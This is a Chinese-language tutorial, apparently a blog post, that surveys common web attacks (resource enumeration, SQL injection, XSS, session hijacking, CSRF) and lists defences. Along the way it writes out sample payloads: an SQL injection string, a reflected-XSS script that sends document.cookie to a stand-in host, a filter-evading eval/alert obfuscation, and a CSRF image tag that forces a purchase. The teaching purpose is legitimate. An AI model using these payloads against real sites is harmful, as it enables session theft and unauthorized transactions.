web前端安全

WEB基本攻击大体能够分为三大类—— “资源枚举”、“参数操纵” 和 “其它攻击”。

资源枚举

有时候受前人（技术前辈也好，你所接任的上一位员工也好）的影响，咱们可能会约定成俗地去作某件事情，好比用骆驼命名法法来命名函数名、用JSDoc的方式来书写注释，这样会让你的团队工做更加规范。而后有一天要给项目作备份了，就直接把该项目压缩为rar文件，命名为何呢？首选的天然是“bak.rar”，你看数据库的备份的形式不也是.bak嘛。

因而乎，若是压缩包所在的地址是可访问的，那么全部人均可以轻松地下载到这个"bak.rar"文件，你的项目也不存在什么小秘密了（即便夏天夏天悄悄地过去）。

这就是“资源枚举”，别有用心的人会遍历你站点全部可访问的目录，而后把一些常见的备胎文件名（好比“sql.bak”、“index-副本.html”）一个个都枚举一下，若是运气好枚举到了就直接下载。

因而跟随主流在这里不是好的事情，对于重要的东西，要么放在外人不可访问的地方，要么应当给它起一个不那么好猜的名字。

资源枚举也不只仅局限于瞎找东西，聪明的人会利用线索来更好地猜东西。

假设有一个站点走的伪静态的高冷路线，不想让别人知道它所使用的语言和数据库，但没有配置好后端错误信息的提示。那么“别有用心”的朋友就能够在这个站点里的某个搜索结果页面篡改url参数，致使数据库查询错误而返回数据库错误信息页面，或者输入一个根本不存在的子页面地址来获取错误信息，进而可判断该站点到底用的是什么数据库或动态语言。

 

参数操纵

这里包括了SQL注入、XPath注入、cgi命令执行，还有XXS和会话劫持等。前三个的攻击主要是在服务端触发的，后两者的攻击则是侧重于客户端。

SQL注入这块不想细聊了，相信不少朋友都听到耳朵长茧，不外乎是提交含有SQL操做语句的信息给后端，后端若是没有作好过滤就执行该语句，攻击者天然能够随意操纵该站点的数据库。

好比有一个图书馆站点book.com，你点进一本书的详情页面，其url是这样的：

book.com/book?id=100

说明这本书在数据库中的键值是100，后端收到url参数后就执行了数据库查询操做：

select * from booktable where id='100'

那么若是咱们把url更改成

book.com/book?id=100'or'1'='1

那么数据库操做执行就变成了：

select * from booktable where id='100'or'1'='1'

从而取出了整个booktable 表单的所有数据。

XPath注入跟SQL注入差很少，只不过这里的数据库走的xml格式，攻击方式天然也得按xml查找的语法来了，具体 可看这里 。

cgi命令执行指的是用户远程访问cgi脚本时，经过提交恶意的参数让服务器执行相关的cgi命令来获取信息甚至操纵服务器。有兴趣的朋友能够 看下这里 。

对于这几个攻击，咱们须要作的天然是对提交参数的过滤，最好是前端过滤一遍，后端也过滤一遍（后端的过滤和拦截是最重要的，毕竟经过在浏览器禁用脚本的配置能够躲过前端的过滤）。

 

XSS（cross-site scripting跨域脚本攻击）攻击也是最多见的WEB攻击之一，其重点是“跨域”和“客户端执行”。咱们仍是拿那个图书馆网站book.com来调侃下。

假设页面右上角有一个搜索书籍的地方，你随便输入一本压根就没有的书，好比“有钱任性指南”，而后点击“搜索”按钮。这时候页面 ( book.com/search?name=有钱任性指南 ) 会返回一段信息：

您搜索的书籍“有钱任性指南”不存在

好的，那咱们输入这个怎样：

<script>alert('没有书开个毛线书店啊')</script>

假设这个图书馆站点没有对数据作任何过滤，并且会原封不动地把用户输入的数据展现回来，那么返回的页面天然也会返回这段脚本，从而执行它。

 

可是这样很差玩，既然要作攻击，咱们就要获取用户的数据，要获取数据天然要把信息传回咱们的服务器（假设接收信息的地址是http://vajoy/get），那我们能够这样写：

<script>document.location='http://vajoy/get?cookie='+document.cookie</script>

不过这样很差玩啊，收到的老是咱们本身的数据，咱们要收集的应该是别人的cookie信息啊！

小意思，不妨经过QQ群，或者经过群发垃圾邮件，来让其余人点击这个地址：

book.com/search?name=<script>document.location='http://vajoy/get?cookie='+document.cookie</script>

这种即是XSS攻击中的一种，称为“Reflected XSS”——基于反射的XSS攻击，主要依靠站点服务端返回脚本，在客户端触发执行从而发起WEB攻击。

与其相近的是“DOM-based or local XSS”——基于DOM或本地的XSS攻击。拿我如今工做的项目作比方——为用户提供免费的wifi，可是提供免费wifi的网关会往你访问的任何页面插入一段脚本，从而植入悬浮广告（固然你能够关闭它），这貌似没什么，但若是插入的脚本是获取你敏感数据的恶意脚本那就不同了。像这种直接存在于页面，无须通过服务器返回脚本处理就直接跨域发送用户信息的行为就是基于本地的XSS攻击。

还有最后一种称为“Stored XSS”——基于存储的XSS攻击。它是经过贴吧啊博客园啊等地方来发表带有恶意跨域脚本的帖子或文章，从而把恶意脚本存储在里面，每一个访问该帖子/文章的人就会中招。

还记得一开始加载本文章的alert弹窗么？假设博客园对文章进行了过滤，把所有“alert”啊、"eval"啊等敏感字符都过滤掉，那咱们怎么办？咱们能够这样：

?

1 2 3 4

<script type= "text/javascript" > var x= 'eva' +String.fromCharCode( 108 ),y=window,e= 'a' +String.fromCharCode( 108 )+ 'ert("欢迎收看本文章")' ; y[x][ 'call' ]( this ,e); </script>

照样实现咱们想要的弹窗无误。

对于XSS的预防天然也是对提交数据的过滤，另外还有一点——谨慎返回用户提交的内容！

 

会话劫持

百度百科有个颇有意思的引喻——“在现实生活中，好比你去市场买菜，在交完钱后你要求先去干一些别的事情，稍候再来拿菜；若是这个时候某个陌生人要求把菜拿走，卖菜的人会把菜给陌生人吗？”

这个比喻颇有意思，咱们常规访问一个http网站时是与其服务器创建了一次HTTP会话。假设你宿舍楼的“朋友”都跟你处于同一个子网上，其中有人想假装成你来劫持你的HTTP会话，那么服务器会把菜，哦不，是信息返回给那我的吗？

答案是确定的，由于HTTP会话并不安全。它在通过TCP/IP协议封装传输数据时，在传输的数据的每个字节中插入一个32位的序列号码，这个序列号用来保持跟踪数据和提供可靠性（序列号是依循数据顺序逐步递增的）。第三方攻击者能够经过嗅探的方式来获取用户与服务器通信中的报文信息，若是他能猜想到数据中的序列号，那便能把合法的用户断开，假装成合法用户让本身控制后续的通话。

对于会话劫持的预防，能够走SSH协议、加强网络安全系统健壮性，也可使用无序的UUID来替代通信中的序列号码（而非逐步递增）。

 

其它攻击

其它攻击包括有前面未说起的CSRF攻击、钓鱼攻击和拒绝服务攻击等。

CSRF（cross-site request forgery），翻译为跨站请求伪造，与XSS很是类似，但XSS是利用用户对当前网站的信任来发起攻击，而CSRF是利用网站对用户的信任来发起攻击。

依旧拿上述的图书馆站点打个比方，若是它的安全机制很松懈——只要用户登陆了网站后，只要没关闭浏览器，在任何状况均可以做为一个已经过身份验证的用户来作购书、借书操做（无须从新登陆或者输入支付密码什么的，毕竟已经登陆验证过一次了嘛）。

那么咱们给一位用户发送一份邮件怎样，里面放有一条转向购书执行页面的连接。。。噢不，那样还得用户点击它，咱们想让用户看到的时候就马上执行了购书操做，咱们能够这样作——在邮件中插入一张图片：

<img src='http://book.com/pay?bookid=100'/>

img、script、iframe标签都是不受同源策略限制的，假设你使用的邮箱很直白地给用户即时显示这张图片，而该用户又恰好登陆了book.com且没有关闭浏览器，那么src里的链接就会马上访问book.com/pay页面，并按照已经过身份验证的状况来处理，从而作了购书的操做。

相信如今你会很清楚为什么如今的邮箱都不会直接显示邮件里的图片了吧——都是为了你的安全考虑。

对于CSRF攻击，咱们所能作的能够有：

1. 检查报头中的Referer参数确保请求发自正确的网站（但XHR请求可调用setRequestHeader方法来修改Referer报头）；

2. 对于任何重要的请求都须要从新验证用户的身份；

3. 建立一个惟一的令牌（Token），将其存在服务端的session中及客户端的cookie中，对任何请求，都检查两者是否一致。

 

钓鱼攻击指的是网站的伪造，好比ta0bao.com，而后在其中应用XSS等方式发起攻击。

拒绝服务（DoS）指的是向网站发起洪水同样的请求（Traffic Floor），致使服务器超负荷并关闭，处理方法常规是采用QoS（Quality of Service）的软硬件解决方案。

 

攻击层面

攻击层面指的是有恶意的人可能会从哪些地方来入手制造麻烦，常见的攻击层面有三种：

一. 传统WEB应用程序

1. 表单输入（甚至包括hidden控件的内容）；

2. cookie（经过修改cookie内容也能够达到SQL注入攻击的目的）；

3. 报头（有时候为了方便统计来源数据，服务器会把客户端发来报头的Referer、User-Agent信息存到数据库中，那么经过修改报头信息也能够起到SQL注入工具目的）

4. 请求参数

5. 上传文件（在文件内携带恶意代码）

二. Web服务

1. 上述“传统WEB服务”的所有方法；

2. WSDL文档（暴露了服务端的每一个方法及其使用方式）

三. AJAX应用程序

即上述的“一”和“二”的合集

 

解决方案

综上所述，咱们能够这样审视咱们的WEB站点：

1. 永远不要相信客户端传来的任何信息，对这些信息都应先进行编码或过滤处理；

2. 谨慎返回用户输入的信息；

3. 使用黑名单和白名单处理（即“不容许哪些敏感信息”或“只容许哪些信息”，白名单的效果更好但局限性高）；

4. 检查、验证请求来源，对每个重要的操做都进行从新验证；

5. 使用SSL防止第三方监听通讯（但没法阻止XSS、CSRF、SQL注入攻击）；

6. 不要将重要文件、备份文件存放在公众可访问到的地方；

7. 会话ID无序化；

8. 对用户上传的文件进行验证（不仅仅是格式验证，比方一张gif图片还应将其转为二进制并验证其每帧颜色值<无符号8位>和宽高值<无符号16位>）；

9. WSDL文档应当要求用户注册后才能获取；

10. 。。。。。。。。

虽然咱们有一些必要的手段来防止WEB攻击，但永远不会有一枚silver bullet来完全解决问题，先不谈那些数不胜数的已知的、可被攻击的漏洞，对于谜同样的0-day漏洞，咱们所能作的只是提早发现并及时修补它们。